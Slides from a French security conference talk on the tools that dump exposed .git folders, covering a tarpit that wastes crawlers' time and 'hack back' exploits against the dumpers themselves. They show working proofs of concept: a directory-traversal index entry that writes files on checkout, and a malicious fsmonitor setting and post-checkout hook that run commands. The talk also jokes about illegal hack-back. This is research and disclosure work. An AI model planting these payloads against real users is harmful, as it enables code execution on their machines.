Git, Tristesse et Hack back

ou En vrai c'est pas du hack-back parce-que c'est mérité s'ils voulaient pas se faire pwn fallait pas crawler des sites qui leur appartiennent pas cheh

SteakOverflow 2023 - @yarienkiva

Disclaimers

  • Le hack back est illégal, ne le faites pas. Ou alors faites le, je ne suis pas votre mère, mais ne venez pas pleurer quand la gendarmerie vous apportera les croissants à 6 h du matin.

 

  • Cette conférence n'est pas une publicité vainement déguisée pour un nouveau tool qui sera abandonné au bout de quelques semaines, c'est un retex d'un moment où je me suis fait nerd-snipe.

whoami

  • Aloïs "Alol" de Souza-Coroller
  • @yarienkiva
  • Malware Analyst - CERT La Poste
  • HeroCTF organiser
  • https://heartathack.club

Git-Dumper(s)

Permet de récupérer tout ou partie du contenu d'un dossier .git laissé accessible sur un serveur web.

Utilisé en bug bounty/pentest comme en CTF.

 

Quelques exemples :

Dump un .git, pour quoi faire ?

Permet de récupérer tout le repository git :

  • Tout le code source de la webapp (passage de blackbox à whitebox)
  • Mais surtout les creds / clés api / cert / etc.

Anatomie d'un .git

.git/
├── config
├── HEAD
├── index
...
├── objects
│   ├── 72
│   │   └── 6850c95e180c2366cc78594cb8b6926dcfdd68
│   ├── 78
│   │   └── 981922613b2afb6025042ff6bd878ac1994e85
│   ├── e6
│   │   └── 317a71076f769fc87d4957752a802538fe6db7
│   ├── info
│   └── pack
└── refs
    ├── heads
    │   └── master
    └── tags

Anatomie d'un .git

.git/
├── config
├── HEAD
├── index
...
├── objects
│   ├── 72
│   │   └── 6850c95e180c2366cc78594cb8b6926dcfdd68
│   ├── 78
│   │   └── 981922613b2afb6025042ff6bd878ac1994e85
│   ├── e6
│   │   └── 317a71076f769fc87d4957752a802538fe6db7
│   ├── info
│   └── pack
└── refs
    ├── heads
    │   └── master
    └── tags

Anatomie d'un .git

.git/
├── config
├── HEAD
├── index
...
├── objects
│   ├── 72
│   │   └── 6850c95e180c2366cc78594cb8b6926dcfdd68
│   ├── 78
│   │   └── 981922613b2afb6025042ff6bd878ac1994e85
│   ├── e6
│   │   └── 317a71076f769fc87d4957752a802538fe6db7
│   ├── info
│   └── pack
└── refs
    ├── heads
    │   └── master
    └── tags
 tree <=> dossier
 blob <=> fichier
 commit

Anatomie d'un git-dumper

Résumée en 4 étapes:
  1. Télécharger une liste de fichiers connus*
  2. Extraire les hashes SHA1
  3. Télécharger les objects liés (queue ou recursivement)
  4. Lancer `git checkout .`
*Bonne opportunité pour fingerprint
objects/41/d05...
objects/41/d05...
objects/e2/83b...
objects/f3/a13...
objects/85/2ec...
852ec...
git-checkout -> "Switch branches or restore working tree files"

git checkout . -> "Undo unstaged local changes"

La commande importante

Les modifications ici sont la "supression" de tous les fichiers, après un git checkout on revient commit précédent (où ils sont tous présents).

"Ça se pwn ça ... "

Tar pit (networking)

  • Basés sur les vrais "tar pit" (fosses à bitume) 
  • Ralentissent exprès les connexions
  • Developpés pour lutter contre les worms/bot

 

Quelques exemples :

Git-Tarpit

@app.route("/.git/<path:path>")
def tarpit(path):
  
    # si le crawler veut télécharger un objet ...
    if re.match("objects/[a-f0-9]{2}/[a-f0-9]{38}", path):
        logging.info(f"{request.headers.get('X-Real-IP')}-> {path}")
        
        # on le fait patienter un peu ...
        time.sleep(random.uniform(0, 3))

        # on en génère un aléatoire à la volée ...
        content = b"tree 30\x0040000 tmp\x00" + os.urandom(20)
        content = zlib.compress(content)
        stream = io.BytesIO(content)

        # et on le renvoie !
        return send_file(stream, as_attachment=True, download_name=path[-38:])

    return send_from_directory(".git", path)
~6770x la vie de l'univers pour 50% de chance de collision, ça va on est large

Demo time

Hack back

Cyber-self-defense

Weaponisation

"GG la solve !"

La baise v1

RCE1: Directory Traversal

In [1]: import git # pip3 install GitPython

In [2]: repo = git.Repo.init(path='.')

In [3]: repo.index.add('../../../../../../../../tmp/rce')
Out[3]:

[
    (100644, 16951063df50854444827055b44ced141bad81af, 0, ../../../../../../../../tmp/rce)
]

In [4]: repo.index.commit('à+ suus')
Out[4]: <git.Commit "e55b2e5bc06c0a7292a70dc5e599f21dfe68b60f">
$ git checkout .
Updated 1 path from the index
$ ls -al
total 0
drwxrwxr-x 3 alol alol  60 Oct 11 01:33 .
drwx------ 3 alol alol  60 Oct 11 01:33 ..
drwxrwxr-x 6 alol alol 200 Oct 11 01:36 .git
$ cat /tmp/rce
pwned eeeey

Satané chinois v2

 attaquant
  victime

Question ouverte:

Vous avez un arbitrary file write sur un linux quelconque,

Quel fichier choisissez-vous pour RCE le plus fiablement possible ?

.bashrc ? authorized_keys ? /bin/bash ? /dev/mem ? systemd service ? /dev/sda1 ?

Vous avez 4h

La baise v3

La baise v3

La baise v3

RCE2: fsmonitor (& hooks)

S/O wortyback

# cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
fsmonitor = "echo Salut SteakOverflow > /tmp/pwned #"
$ git checkout .
Updated 0 paths from the index
$ cat /tmp/pwned
Salut SteakOverflow
 attaquant
  victime
# cat .git/hooks/post-checkout
echo pwned again !
 attaquant
ou

S/O wortyback

Remédiation

git-fsck - "Verifies the connectivity and validity of the objects in the database"

Des questions ?

SteakOverflow 2023 - @yarienkiva

Gitlab push ignoré
Gogs / Gitea / Forgejo erreur 500 mais clonable
Gitbucket rien*
RhodeCode rien*
kallithea rien*
Apache Allura rien*
github.com push ignoré
bitbucket.com rien*

Contre-mesures

Tableau récap. Git-Tarpit RCE1: Dir. Traversal RCE2: FSMonitor
internetwache/GitTools

arthaud/git-dumper x x x
nyancrimew/goop x x x
davtur19/DotGit x

deck

By Alol dSC

deck

  • 51